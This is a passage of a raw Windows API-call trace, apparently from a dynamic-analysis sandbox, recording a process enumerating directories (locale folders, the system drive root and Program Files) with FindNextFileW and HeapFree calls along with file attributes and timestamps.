[0223.949] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0223.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.949] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0223.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.950] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0223.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.950] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0223.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.950] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0223.951] FindClose (in: hFindFile=0x6d05c8 | out: hFindFile=0x6d05c8) returned 1 [0223.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.952] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0223.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.953] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0223.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.954] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0223.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.954] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0223.954] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.954] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0223.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.955] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0223.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.955] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0223.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.955] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0223.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.955] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0223.956] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.956] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0223.956] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.956] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0223.956] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.956] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0223.957] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.957] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0223.957] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0223.957] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0223.958] FindNextFileW (in: hFindFile=0x6d0088, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0223.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0223.959] FindNextFileW (in: hFindFile=0x6d0088, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0223.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0223.959] FindNextFileW (in: hFindFile=0x6d0088, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x22275200, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0224.106] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0224.108] FindNextFileW (in: hFindFile=0x6d0088, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x24c97ed6, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0224.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0224.108] FindNextFileW (in: hFindFile=0x6d0088, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf182444c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf182444c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0224.109] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41450a0 | out: hHeap=0x670000) returned 1 [0224.109] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0224.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.114] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="ink", cAlternateFileName="")) returned 1 [0224.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.255] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0224.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.255] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0224.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.256] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="da-DK", cAlternateFileName="")) returned 1 [0224.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.256] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="de-DE", cAlternateFileName="")) returned 1 [0224.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.256] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="el-GR", cAlternateFileName="")) returned 1 [0224.257] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.257] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="en-GB", cAlternateFileName="")) returned 1 [0224.257] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.257] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="en-US", cAlternateFileName="")) returned 1 [0224.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.260] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="es-ES", cAlternateFileName="")) returned 1 [0224.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.260] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="es-MX", cAlternateFileName="")) returned 1 [0224.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.261] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="et-EE", cAlternateFileName="")) returned 1 [0224.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.261] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0224.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.261] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0224.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.262] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0224.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41670c0 | out: hHeap=0x670000) returned 1 [0224.262] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, 